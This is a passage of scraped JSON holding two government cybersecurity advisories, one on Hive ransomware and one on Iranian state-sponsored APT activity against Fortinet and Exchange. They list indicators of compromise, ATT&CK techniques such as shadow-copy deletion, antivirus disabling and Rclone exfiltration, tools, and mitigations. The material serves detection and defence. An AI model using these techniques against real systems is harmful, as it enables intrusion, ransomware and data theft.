\n\n93.115.26[.]251 \n \n93.115.27[.]148\n\n| \n\n108.62.118[.]190 \n \n158.69.36[.]149/span>\n\n| \n\n181.231.81[.]239 \n \n185.8.105[.]67\n\n| \n\n185.8.105[.]103 \n \n185.8.105[.]112\n\n| \n\n185.247.71[.]106 \n \n186.111.136[.]37\n\n| \n\n192.53.123[.]202 \n \n#### **MITRE ATT&CK TECHNIQUES**\n\nSee table 4 for all referenced threat actor tactics and techniques listed in this advisory.\n\nTable 4: Hive Actors ATT&CK Techniques for Enterprise\n\n_Initial Access_ \n \n--- \n \nTechnique Title\n\n| \n\nID\n\n| \n\nUse \n \nExternal Remote Services\n\n| \n\n[T1133](<https://attack.mitre.org/versions/v12/techniques/T1133/>)\n\n| \n\nHive actors gain access to victim networks by using single factor logins via RDP, VPN, and other remote network connection protocols. \n \nExploit Public-Facing Application\n\n| \n\n[T1190](<https://attack.mitre.org/versions/v12/techniques/T1190/>)\n\n| \n\nHive actors gain access to victim network by exploiting the following Microsoft Exchange vulnerabilities: CVE-2021-34473, CVE-2021-34523, CVE-2021-31207, CVE-2021-42321. \n \nPhishing\n\n| \n\n[T1566.001](<https://attack.mitre.org/versions/v12/techniques/T1566/001/>)\n\n| \n\nHive actors gain access to victim networks by distributing phishing emails with malicious attachments. \n \n_Execution_ \n \nTechnique Title\n\n| \n\nID\n\n| \n\nUse \n \nCommand and Scripting Interpreter\n\n| \n\n[T1059](<https://attack.mitre.org/versions/v12/techniques/T1059/>)\n\n| \n\nHive actors looks to stop the volume shadow copy services and remove all existing shadow copies via vssadmin on command line or PowerShell. \n \n_Defense Evasion_ \n \nTechnique Title\n\n| \n\nID\n\n| \n\nUse \n \nIndicator Removal on Host\n\n| \n\n[T1070](<https://attack.mitre.org/versions/v12/techniques/T1070/>)\n\n| \n\nHive actors delete Windows event logs, specifically, the System, Security and Application logs. \n \nModify Registry\n\n| \n\n[T1112](<https://attack.mitre.org/versions/v12/techniques/T1112/>)\n\n| \n\nHive actors set registry values for DisableAntiSpyware and DisableAntiVirus to 1. \n \nImpair Defenses\n\n| \n\n[T1562](<https://attack.mitre.org/versions/v12/techniques/T1562/001/>)\n\n| \n\nHive actors seek processes related to backups, antivirus/anti-spyware, and file copying and terminates those processes to facilitate file encryption. \n \n_Exfiltration_ \n \nTechnique Title\n\n| \n\nID\n\n| \n\nUse \n \nTransfer Data to Cloud Account\n\n| \n\n[T1537](<https://attack.mitre.org/versions/v12/techniques/T1537/>)\n\n| \n\nHive actors exfiltrate data from victims, using a possible combination of Rclone and the cloud storage service Mega.nz. \n \n_Impact_ \n \nTechnique Title\n\n| \n\n| \n\nUse \n \nData Encrypted for Impact\n\n| \n\n[T1486](<https://attack.mitre.org/versions/v12/techniques/T1486/>)\n\n| \n\nHive actors deploy a ransom note HOW_TO_DECRYPT.txt into each affected directory which states the *.key file cannot be modified, renamed, or deleted, otherwise the encrypted files cannot be recovered. \n \nInhibit System Recovery\n\n| \n\n[T1490](<https://attack.mitre.org/versions/v12/techniques/T1490/>)\n\n| \n\nHive actors looks to stop the volume shadow copy services and remove all existing shadow copies via vssadmin via command line or PowerShell. \n \n### Mitigations\n\nFBI, CISA, and HHS recommend organizations, particularly in the HPH sector, implement the following to limit potential adversarial use of common system and network discovery techniques and to reduce the risk of compromise by Hive ransomware:\n\n * Verify Hive actors no longer have access to the network.\n * Install updates for operating systems, software, and firmware as soon as they are released. Prioritize patching VPN servers, remote access software, virtual machine software, and [known exploited vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>). Consider leveraging a centralized patch management system to automate and expedite the process.\n * Require [phishing-resistant MFA](<https://www.cisa.gov/sites/default/files/publications/fact-sheet-implementing-phishing-resistant-mfa-508c.pdf>) for as many services as possible\u2014particularly for webmail, VPNs, accounts that access critical systems, and privileged accounts that manage backups.\n * If used, secure and monitor RDP. \n * Limit access to resources over internal networks, especially by restricting RDP and using virtual desktop infrastructure.\n * After assessing risks, if you deem RDP operationally necessary, restrict the originating sources and require MFA to mitigate credential theft and reuse.\n * If RDP must be available externally, use a VPN, virtual desktop infrastructure, or other means to authenticate and secure the connection before allowing RDP to connect to internal devices.\n * Monitor remote access/RDP logs, enforce account lockouts after a specified number of attempts to block brute force campaigns, log RDP login attempts, and disable unused remote access/RDP ports.\n * Be sure to properly configure devices and enable security features.\n * Disable ports and protocols not used for business purposes, such as RDP Port 3389/TCP.\n * Maintain offline backups of data, and regularly maintain backup and restoration. By instituting this practice, the organization ensures they will not be severely interrupted, and/or only have irretrievable data.\n * Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization\u2019s data infrastructure. Ensure your backup data is not already infected.,\n * Monitor cyber threat reporting regarding the publication of compromised VPN login credentials and change passwords/settings if applicable.\n * Install and regularly update anti-virus or anti-malware software on all hosts.\n * Enable PowerShell Logging including module logging, script block logging and transcription.\n * Install an enhanced monitoring tool such as Sysmon from Microsoft for increased logging.\n * Review the following additional resources. \n * The joint advisory from Australia, Canada, New Zealand, the United Kingdom, and the United States on [Technical Approaches to Uncovering and Remediating Malicious Activity](<https://us-cert.cisa.gov/ncas/alerts/aa20-245a>) provides additional guidance when hunting or investigating a network and common mistakes to avoid in incident handling.\n * The Cybersecurity and Infrastructure Security Agency-Multi-State Information Sharing & Analysis Center [Joint Ransomware Guide](<https://www.cisa.gov/stopransomware/ransomware-guide>) covers additional best practices and ways to prevent, protect, and respond to a ransomware attack.\n * [StopRansomware.gov](<https://www.cisa.gov/stopransomware>) is the U.S. Government\u2019s official one-stop location for resources to tackle ransomware more effectively.\n\nIf your organization is impacted by a ransomware incident, FBI, CISA, and HHS recommend the following actions.\n\n * **Isolate the infected system**. Remove the infected system from all networks, and disable the computer\u2019s wireless, Bluetooth, and any other potential networking capabilities. Ensure all shared and networked drives are disconnected.\n * **Turn off other computers and devices**. Power-off and segregate (i.e., remove from the network) the infected computer(s). Power-off and segregate any other computers or devices that share a network with the infected computer(s) that have not been fully encrypted by ransomware. If possible, collect and secure all infected and potentially infected computers and devices in a central location, making sure to clearly label any computers that have been encrypted. Powering-off and segregating infected computers and computers that have not been fully encrypted may allow for the recovery of partially encrypted files by specialists.\n * **Secure your backups**. Ensure that your backup data is offline and secure. If possible, scan your backup data with an antivirus program to check that it is free of malware.\n\nIn addition, FBI, CISA, and HHS urge all organizations to apply the following recommendations to prepare for, mitigate/prevent, and respond to ransomware incidents.\n\n#### **Preparing for Cyber Incidents**\n\n * **Review the security posture of third-party vendors and those interconnected with your organization**. Ensure all connections between third-party vendors and outside software or hardware are monitored and reviewed for suspicious activity.\n * **Implement listing policies for applications and remote access that only allow systems to execute known and permitted programs** under an established security policy.\n * **Document and monitor external remote connections**. Organizations should document approved solutions for remote management and maintenance, and immediately investigate if an unapproved solution is installed on a workstation.\n * **Implement a recovery plan** to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (i.e., hard drive, storage device, the cloud).\n\n#### **Identity and Access Management**\n\n * **Require all accounts** with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with [National Institute of Standards and Technology (NIST) standards](<https://pages.nist.gov/800-63-3/>) for developing and managing password policies. \n * Use longer passwords consisting of at least 8 characters and no more than 64 characters in length.\n * Store passwords in hashed format using industry-recognized password managers.\n * Add password user \u201csalts\u201d to shared login credentials.\n * Avoid reusing passwords.\n * Implement multiple failed login attempt account lockouts.\n * Disable password \u201chints.\u201d\n * Refrain from requiring password changes more frequently than once per year unless a password is known or suspected to be compromised. \nNote: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password \u201cpatterns\u201d cyber criminals can easily decipher.\n * Require administrator credentials to install software.\n * **Require phishing-resistant multifactor authentication** for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems.\n * **Review domain controllers, servers, workstations, and active directories** for new and/or unrecognized accounts.\n * **Audit user accounts** with administrative privileges and configure access controls according to the principle of least privilege.\n * **Implement time-based access for accounts set at the admin level and higher**. For example, the Just-in-Time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege (as well as the Zero Trust model). This is a process where a network-wide policy is set in place to automatically disable admin accounts at the Active Directory level when the account is not in direct need. Individual users may submit their requests through an automated process that grants them access to a specified system for a set timeframe when they need to support the completion of a certain task. \n\n#### **Protective Controls and Architecture**\n\n * **Segment networks** to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between\u2014and access to\u2014various subnetworks and by restricting adversary lateral movement.\n * **Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool**. To aid in detecting the ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host.\n * Install, regularly update, and enable real time detection for antivirus software on all hosts.\n\nVulnerability and Configuration Management\n\n * **Consider adding an email banner to emails** received from outside your organization.\n * **Disable command-line and scripting activities and permissions**. Privilege escalation and lateral movement often depend on software utilities running from the command line. If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally.\n * **Ensure devices are properly configured and that security features are enabled**. \n * **Restrict Server Message Block (SMB) Protocol within the network to only access necessary servers and remove or disable outdated versions of SMB** (i.e., SMB version 1). Threat actors use SMB to propagate malware across organizations.\n\n#### **REFERENCES**\n\n * [Stopransomware.gov](<http://www.stopransomware.gov/>) is a whole-of-government approach that gives one central location for ransomware resources and alerts.\n * Resource to mitigate a ransomware attack: [CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide](<https://www.cisa.gov/sites/default/files/publications/CISA_MS-ISAC_Ransomware%20Guide_S508C.pdf>).\n * No-cost cyber hygiene services: [Cyber Hygiene Services](<https://www.cisa.gov/cyber-hygiene-services>) and [Ransomware Readiness Assessment](<https://github.com/cisagov/cset/>).\n\n#### **INFORMATION REQUESTED**\n\nThe FBI, CISA, and HHS do not encourage paying a ransom to criminal actors. Paying a ransom may embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Paying the ransom also does not guarantee that a victim\u2019s files will be recovered. However, the FBI, CISA, and HHS understand that when businesses are faced with an inability to function, executives will evaluate all options to protect their shareholders, employees, and customers. Regardless of whether you or your organization decide to pay the ransom, the FBI, CISA, and HHS urge you to promptly report ransomware incidents to your [local FBI field office](<https://www.fbi.gov/contact-us/field-offices>), or to CISA at [report@cisa.gov](<mailto:report@cisa.gov>) or (888) 282-0870. Doing so provides investigators with the critical information they need to track ransomware attackers, hold them accountable under US law, and prevent future attacks. \n\nThe FBI may seek the following information that you determine you can legally share, including:\n\n * Recovered executable files\n * Live random access memory (RAM) capture\n * Images of infected systems\n * Malware samples\n * IP addresses identified as malicious or suspicious\n * Email addresses of the attackers\n * A copy of the ransom note\n * Ransom amount\n * Bitcoin wallets used by the attackers\n * Bitcoin wallets used to pay the ransom\n * Post-incident forensic reports\n\n#### DISCLAIMER\n\nThe information in this report is being provided \u201cas is\u201d for informational purposes only. FBI, CISA, and HHS do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI, CISA, or HHS.\n\n### Revisions\n\nInitial Version: November 17, 2022\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-11-25T12:00:00", "type": "ics", "title": "#StopRansomware: Hive Ransomware", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-12812", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-42321", "CVE-2023-27350"], "modified": "2022-11-25T12:00:00", "id": "AA22-321A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-321a", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-27T14:57:07", "description": "### Summary\n\n_**Actions to Take Today to Protect Against Iranian State-Sponsored Malicious Cyber Activity** \n\u2022 Immediately patch software affected by the following vulnerabilities: CVE-2021-34473, 2018-13379, 2020-12812, and 2019-5591._ \n\u2022 _Implement [multi-factor authentication](<https://us-cert.cisa.gov/ncas/tips/ST05-012>)._ \n_\u2022 Use [strong, unique passwords](<https://us-cert.cisa.gov/ncas/tips/ST04-002>)._\n\n___**Note:** this advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK\u00ae) framework, version 10. See the [ATT&CK for Enterprise](<https://attack.mitre.org/versions/v9/techniques/enterprise/>) for all referenced threat actor tactics and techniques.___\n\nThis joint cybersecurity advisory is the result of an analytic effort among the Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the Australian Cyber Security Centre (ACSC), and the United Kingdom\u2019s National Cyber Security Centre (NCSC) to highlight ongoing malicious cyber activity by an advanced persistent threat (APT) group that FBI, CISA, ACSC, and NCSC assess is associated with the government of Iran. FBI and CISA have observed this Iranian government-sponsored APT group exploit Fortinet vulnerabilities since at least March 2021 and a Microsoft Exchange ProxyShell vulnerability since at least October 2021 to gain initial access to systems in advance of follow-on operations, which include deploying ransomware. ACSC is also aware this APT group has used the same Microsoft Exchange vulnerability in Australia.\n\nThe Iranian government-sponsored APT actors are actively targeting a broad range of victims across multiple U.S. critical infrastructure sectors, including the Transportation Sector and the Healthcare and Public Health Sector, as well as Australian organizations. FBI, CISA, ACSC, and NCSC assess the actors are focused on exploiting known vulnerabilities rather than targeting specific sectors. These Iranian government-sponsored APT actors can leverage this access for follow-on operations, such as data exfiltration or encryption, ransomware, and extortion.\n\nThis advisory provides observed tactics and techniques, as well as indicators of compromise (IOCs) that FBI, CISA, ACSC, and NCSC assess are likely associated with this Iranian government-sponsored APT activity.\n\nThe FBI, CISA, ACSC, and NCSC urge critical infrastructure organizations to apply the recommendations listed in the Mitigations section of this advisory to mitigate risk of compromise from Iranian government-sponsored cyber actors.\n\nFor a downloadable copy of IOCs, see AA21-321A.stix.\n\nFor more information on Iranian government-sponsored malicious cyber activity, see [us-cert.cisa.gov/Iran](<https://www.us-cert.cisa.gov/iran>).\n\nClick here for a PDF version of this report.\n\n### Technical Details\n\n### Threat Actor Activity\n\nSince at least March 2021, the FBI and CISA have observed Iranian government-sponsored APT actors leverage Microsoft Exchange and Fortinet vulnerabilities to target a broad range of victims across multiple critical infrastructure sectors in furtherance of malicious activities. Observed activity includes the following.\n\n * In March 2021, the FBI and CISA observed these Iranian government-sponsored APT actors scanning devices on ports 4443, 8443, and 10443 for Fortinet FortiOS vulnerability [CVE-2018-13379](<https://vulners.com/cve/CVE-2018-13379>), and enumerating devices for FortiOS vulnerabilities [CVE-2020-12812](<https://vulners.com/cve/CVE-2020-12812>) and [CVE-2019-5591](<https://vulners.com/cve/CVE-2019-5591>). The Iranian Government-sponsored APT actors likely exploited these vulnerabilities to gain access to vulnerable networks. **Note:** for previous FBI and CISA reporting on this activity, refer to Joint Cybersecurity Advisory: [APT Actors Exploit Vulnerabilities to Gain Initial Access for Future Attacks](<https://www.ic3.gov/media/news/2021/210402.pdf>).\n * In May 2021, these Iranian government-sponsored APT actors exploited a Fortigate appliance to access a webserver hosting the domain for a U.S. municipal government. The actors likely created an account with the username `elie` to further enable malicious activity. **Note: **for previous FBI reporting on this activity, refer to [FBI FLASH: APT Actors Exploiting Fortinet Vulnerabilities to Gain Initial Access for Malicious Activity](<https://www.ic3.gov/media/news/2021/210527.pdf>).\n * In June 2021, these APT actors exploited a Fortigate appliance to access environmental control networks associated with a U.S.-based hospital specializing in healthcare for children. The Iranian government-sponsored APT actors likely leveraged a server assigned to IP addresses `91.214.124[.]143` and `162.55.137[.]20`\u2014which FBI and CISA judge are associated with Iranian government cyber activity\u2014to further enable malicious activity against the hospital\u2019s network. The APT actors accessed known user accounts at the hospital from IP address `154.16.192[.]70`, which FBI and CISA judge is associated with government of Iran offensive cyber activity.\n * As of October 2021, these APT actors have leveraged a Microsoft Exchange ProxyShell vulnerability\u2014`CVE-2021-34473`\u2014to gain initial access to systems in advance of follow-on operations.\n\nACSC considers that this APT group has also used the same Microsoft Exchange vulnerability ([CVE-2021-34473](<https://vulners.com/cve/CVE-2021-34473>)) in Australia.\n\n### MITRE ATT&CK Tactics and Techniques\n\nFBI, CISA, ACSC, and NCSC assess the following tactics and techniques are associated with this activity.\n\n#### Resource Development [[TA0042](<https://attack.mitre.org/versions/v10/tactics/TA0042>)]\n\nThe APT actors have used the following malicious and legitimate tools [[T1588.001](<https://attack.mitre.org/versions/v10/techniques/T1588/001>), [T1588.002](<https://attack.mitre.org/versions/v10/techniques/T1588/002>)] for a variety of tactics across the enterprise spectrum.\n\n * [Mimikatz](<https://attack.mitre.org/software/S0002>) for credential theft [[TA0006](<https://attack.mitre.org/versions/v10/tactics/TA0042>)]\n * WinPEAS for privilege escalation [[TA0004](<https://attack.mitre.org/versions/v10/tactics/TA0004>)]\n * SharpWMI (Windows Management Instrumentation)\n * WinRAR for archiving collected data [[TA0009](<https://attack.mitre.org/versions/v10/tactics/TA0009>), [T1560.001](<https://attack.mitre.org/versions/v10/techniques/T1560/001>)]\n * FileZilla for transferring files [[TA0010](<https://attack.mitre.org/versions/v10/tactics/TA0010>)]\n\n#### Initial Access [[TA0001](<https://attack.mitre.org/versions/v10/tactics/TA0001/>)]\n\nThe Iranian government-sponsored APT actors gained initial access by exploiting vulnerabilities affecting Microsoft Exchange servers (CVE-2021-34473) and Fortinet devices (CVE-2018-13379, CVE-2020-12812, and CVE-2019-5591) [[T1190](<https://attack.mitre.org/versions/v10/techniques/T1190/>)].\n\n#### Execution [[TA0002](<https://attack.mitre.org/versions/v10/tactics/TA0002>)]\n\nThe Iranian government-sponsored APT actors may have made modifications to the Task Scheduler [[T1053.005](<https://attack.mitre.org/versions/v10/techniques/T1053/005>)]. These modifications may display as unrecognized scheduled tasks or actions. Specifically, the below established tasks may be associated with this activity:\n\n * `SynchronizeTimeZone`\n * `GoogleChangeManagement`\n * `MicrosoftOutLookUpdater`\n * `MicrosoftOutLookUpdateSchedule`\n\n#### Persistence [[TA0003](<https://attack.mitre.org/versions/v10/tactics/TA0003>)]\n\nThe Iranian government-sponsored APT actors may have established new user accounts on domain controllers, servers, workstations, and active directories [[T1136.001](<https://attack.mitre.org/versions/v10/techniques/T1136/001>), [T1136.002](<https://attack.mitre.org/versions/v10/techniques/T1136/002>)]. Some of these accounts appear to have been created to look similar to other existing accounts on the network, so specific account names may vary per organization. In addition to unrecognized user accounts or accounts established to masquerade as existing accounts, the following account usernames may be associated with this activity:\n\n * `Support`\n * `Help`\n * `elie`\n * `WADGUtilityAccount`\n\n#### Exfiltration [[TA0010](<https://attack.mitre.org/versions/v10/tactics/TA0010/>)]\n\nThe FBI and CISA observed outbound File Transfer Protocol (FTP) transfers over port 443.\n\n#### Impact [[TA0040](<https://attack.mitre.org/versions/v10/tactics/TA0040>)]\n\nThe APT actors forced BitLocker activation on host networks to encrypt data [T1486]. The corresponding threatening notes were either sent to the victim or left on the victim network as a .txt file. The ransom notes included ransom demands and the following contact information. \n\n * sar_addr@protonmail[.]com\n * WeAreHere@secmail[.]pro\n * nosterrmann@mail[.]com\n * nosterrmann@protonmail[.]com \n\n## Detection\n\nThe FBI, CISA, ACSC, and NCSC recommend that organizations using Microsoft Exchange servers and Fortinet investigate potential suspicious activity in their networks. \n\n * Search for IOCs. Collect known-bad IOCs and search for them in network and host artifacts. **Note: **refer to Appendix A for IOCs.\n * Investigate exposed Microsoft Exchange servers (both patched and unpatched) for compromise. \n * Investigate changes to Remote Desktop Protocol (RDP), firewall, and Windows Remote Management (WinRM) configurations that may allow attackers to maintain persistent access. \n * Review domain controllers, servers, workstations, and active directories for new or unrecognized user accounts.\n * Review Task Scheduler for unrecognized scheduled tasks. Additionally, manually review operating-system defined or recognized scheduled tasks for unrecognized \u201cactions\u201d (for example, review the steps each scheduled task is expected to perform).\n * Review antivirus logs for indications they were unexpectedly turned off.\n * Look for WinRAR and FileZilla in unexpected locations. \n\n**Note:** for additional approaches on uncovering malicious cyber activity, see joint advisory [Technical Approaches to Uncovering and Remediating Malicious Activity](<https://us-cert.cisa.gov/sites/default/files/publications/AA20-245A-Joint_CSA-Technical_Approaches_to_Uncovering_Malicious_Activity_508.pdf>), authored by CISA and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom. \n\n### Mitigations\n\nThe FBI, CISA, ACSC, and NCSC urge network defenders to apply the following mitigations to reduce the risk of compromise by this threat.\n\n#### Patch and Update Systems\n\n * Install updates/patch operating systems, software, and firmware as soon as updates/patches are released. \n * Immediately patch software affected by vulnerabilities identified in this advisory: CVE-2021-34473, CVE-2018-13379, CVE-2020-12812, and CVE-2019-5591.\n\n#### Evaluate and Update Blocklists and Allowlists\n\n * Regularly evaluate and update blocklists and allowlists.\n * If FortiOS is not used by your organization, add the key artifact files used by FortiOS to your organization\u2019s execution blocklist. Any attempts to install or run this program and its associated files should be prevented.\n\n#### Implement and Enforce Backup and Restoration Policies and Procedures\n\n * Regularly back up data, air gap, and password protect backup copies offline.\n * Ensure copies of critical data are not accessible for modification or deletion from the system where the data resides. \n * Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, secure location (e.g., hard drive, storage device, the cloud). \n\n#### Implement Network Segmentation\n\n * Implement network segmentation to restrict adversary\u2019s lateral movement. \n\n#### Secure User Accounts\n\n * Audit user accounts with administrative privileges and configure access controls under the principles of least privilege and separation of duties. \n * Require administrator credentials to install software. \n\n#### Implement Multi-Factor Authentication\n\n * Use multifactor authentication where possible, particularly for webmail, virtual private networks (VPNs), and accounts that access critical systems. \n\n#### Use Strong Passwords\n\n * Require all accounts with password logins to have strong, unique passwords.\n\n#### Secure and Monitor RDP and other Potentially Risky Services\n\n * If you use RDP, restrict it to limit access to resources over internal networks.\n * Disable unused remote access/RDP ports.\n * Monitor remote access/RDP logs. \n\n#### Use Antivirus Programs\n\n * Install and regularly update antivirus and anti-malware software on all hosts. \n\n#### Secure Remote Access\n\n * Only use secure networks and avoid using public Wi-Fi networks. \n * Consider installing and using a VPN for remote access.\n\n#### Reduce Risk of Phishing\n\n * Consider adding an email banner to emails received from outside your organization.\n * Disable hyperlinks in received emails\n\n## Resources\n\n * For more information on Iranian government-sponsored malicious cyber activity, see [us-cert.cisa.gov/Iran](<https://www.us-cert.cisa.gov/iran>). \n * For information and resources on protecting against and responding to ransomware, refer to [StopRansomware.gov](<https://www.cisa.gov/stopransomware/>), a centralized, whole-of-government webpage providing ransomware resources and alerts.\n * The joint advisory from the cybersecurity authorities of Australia, Canada, New Zealand, the United Kingdom, and the United States: [Technical Approaches to Uncovering and Remediating Malicious Activity](<https://us-cert.cisa.gov/sites/default/files/publications/AA20-245A-Joint_CSA-Technical_Approaches_to_Uncovering_Malicious_Activity_508.pdf>) provides additional guidance when hunting or investigating a network and common mistakes to avoid in incident handling.\n * CISA offers a range of no-cost [cyber hygiene services](<https://www.cisa.gov/cyber-hygiene-services>) to help critical infrastructure organizations assess, identify, and reduce their exposure to threats, including ransomware. By requesting these services, organizations of any size could find ways to reduce their risk and mitigate attack vectors.\n * The U.S. Department of State\u2019s Rewards for Justice (RFJ) program offers a reward of up to $10 million for reports of foreign government malicious activity against U.S. critical infrastructure. See the [RFJ](<https://rewardsforjustice.net/english>) website for more information and how to report information securely.\n * ACSC can provide tailored cyber security advice and assistance, reporting, and incident response support at [cyber.gov.au](<https://www.cyber.gov.au/>) and via 1300 292 371 (1300 CYBER1).\n\n### Appendix A: Indicators of Compromise\n\nIP addresses and executables files are listed below. For a downloadable copy of IOCs, see AA21-321A.stix.\n\nIP Addresses\n\n * `91.214.124[.]143 `\n * `162.55.137[.]20 `\n * `154.16.192[.]70`\n\n#### Executable Files \n\nExecutable files observed in this activity are identified in table 1.\n\nTable 1: Executable Files \n\n**Filename:** | MicrosoftOutLookUpdater[.]exe \n---|--- \nMD5: | 1444884faed804667d8c2bfa0d63ab13 \nSHA-1: | 95E045446EFB8C9983EBFD85E39B4BE5D92C7A2A \nSHA-256: | c51fe5073bd493c7e8d83365aace3f9911437a0f2ae80042ba01ea46b55d2624 \nSHA-512: | 6451077B99C5F8ECC5C0CA88FE272156296BEB91218B39AE28A086DBA5E7E39813F044F9AF0FEDBB260941B1CD52FA237C098CBF4B2A822F08E3E98E934D0ECF \n**Filename:** | **MicrosoftOutlookUpdater.bat** \nMD5: | 1A44368EB5BF68688BA4B4357BDC874F \nSHA-1 | FA36FEBFD5A5CA0B3A1B19005B952683A7188A13 \nSHA-256 | 3A08D0CB0FF4D95ED0896F22F4DA8755525C243C457BA6273E08453E0E3AC4C4 \nSHA-512 | 70AA89449EB5DA1D84B70D114EF9D24CB74751CE12D12C783251E51775C89FDCE61B4265B43B1D613114D6A85E9C75927B706F39C576DBB036079C7E8CAF28B2 \n**Filename:** | **MicrosoftOutlookUpdater.xml** \nMD5: | AA40C49E309959FA04B7E5AC111BB770 \nSHA-1 | F1D90E10E6E3654654E0A677763C9767C913F8F0 \nSHA-256 | 5C818FE43F05F4773AD20E0862280B0D5C66611BB12459A08442F55F148400A6 \nSHA-512 | E55A86159F2E869DCDB64FDC730DA893718E20D65A04071770BD32CAE75FF8C34704BDF9F72EF055A3B362759EDE3682B3883C4D9BCF87013076638664E8078E \n**Filename:** | **GoogleChangeManagement.xml** \nMD5: | AF2D86042602CBBDCC7F1E8EFA6423F9 \nSHA-1 | CDCD97F946B78831A9B88B0A5CD785288DC603C1 \nSHA-256 | 4C691CCD811B868D1934B4B8E9ED6D5DB85EF35504F85D860E8FD84C547EBF1D \nSHA-512 | 6473DAC67B75194DEEAEF37103BBA17936F6C16FFCD2A7345A5A46756996FAD748A97F36F8FD4BE4E1F264ECE313773CC5596099D68E71344D8135F50E5D8971 \n**Filename:** | **Connector3.exe** \nMD5: | e64064f76e59dea46a0768993697ef2f \n**Filename:** | **Audio.exe or frpc.exe** \nMD5: | b90f05b5e705e0b0cb47f51b985f84db \nSHA-1 | 5bd0690247dc1e446916800af169270f100d089b \nSHA-256: | 28332bdbfaeb8333dad5ada3c10819a1a015db9106d5e8a74beaaf03797511aa \nVhash: | 017067555d5d15541az28!z \nAuthentihash: | ed463da90504f3adb43ab82044cddab8922ba029511da9ad5a52b8c20bda65ee \nImphash: | 93a138801d9601e4c36e6274c8b9d111 \nSSDEEP: | 98304:MeOuFco2Aate8mjOaFEKC8KZ1F4ANWyJXf/X+g4:MeHFV2AatevjOaDC8KZ1xNWy93U \nNote: | \n\nIdentical to \u201cfrpc.exe\u201d available at:\n\nhttps://github[.]com/fatedier/frp/releases/download/v0.34.3/frp_0.34.3_windows_amd64.zip \n \n**Filename:** | **Frps.exe** \nMD5: | 26f330dadcdd717ef575aa5bfcdbe76a \nSHA-1 | c4160aa55d092cf916a98f3b3ee8b940f2755053 \nSHA-256: | d7982ffe09f947e5b4237c9477af73a034114af03968e3c4ce462a029f072a5a \nVhash: | 017057555d6d141az25!z \nAuthentihash: | 40ed1568fef4c5f9d03c370b2b9b06a3d0bd32caca1850f509223b3cee2225ea \nImphash: | 91802a615b3a5c4bcc05bc5f66a5b219 \nSSDEEP: | 196608:/qTLyGAlLrOt8enYfrhkhBnfY0NIPvoOQiE:GLHiLrSfY5voO \nNote: | \n\nIdentical to \u201cfrps.exe\u201d available at: \n\nhttps://github[.]com/fatedier/frp/releases/download/v0.33.0/frp_0.33.0_windows_amd64.zip \n \n### APPENDIX B: MITRE ATT&CK TACTICS AND TECHNIQUES\n\nTable 2 identifies MITRE ATT&CK Tactics and techniques observed in this activity.\n\nTable 2: Observed Tactics and Techniques\n\nTactic | Technique \n---|--- \nResource Development [[TA0042](<https://attack.mitre.org/versions/v10/tactics/TA0042>)] | \n\nObtain Capabilities: Malware [[T1588.001](<https://attack.mitre.org/versions/v10/techniques/T1588/001>)] \n \nObtain Capabilities: Tool [[T1588.002](<https://attack.mitre.org/versions/v10/techniques/T1588/002>)] \n \nInitial Access [[TA0001](<https://attack.mitre.org/versions/v10/tactics/TA0001/>)] | \n\nExploit Public-Facing Application [[T1190](<https://attack.mitre.org/versions/v10/techniques/T1190/>)] \n \nExecution [[TA0002](<https://attack.mitre.org/versions/v10/tactics/TA0002>)]\n\n| \n\nScheduled Task/Job: Scheduled Task [[T1053.005](<https://attack.mitre.org/versions/v10/techniques/T1053/005>)] \n \nPersistence [[TA0003](<https://attack.mitre.org/versions/v10/tactics/TA0003>)] | \n\nCreate Account: Local Account [[T1136.001](<https://attack.mitre.org/versions/v10/techniques/T1136/001>)] \n \nCreate Account: Domain Account [[T1136.002](<https://attack.mitre.org/versions/v10/techniques/T1136/002>)] \nPrivilege Escalation [[TA0004](<https://attack.mitre.org/versions/v10/tactics/TA0004>)] | \n \nCredential Access 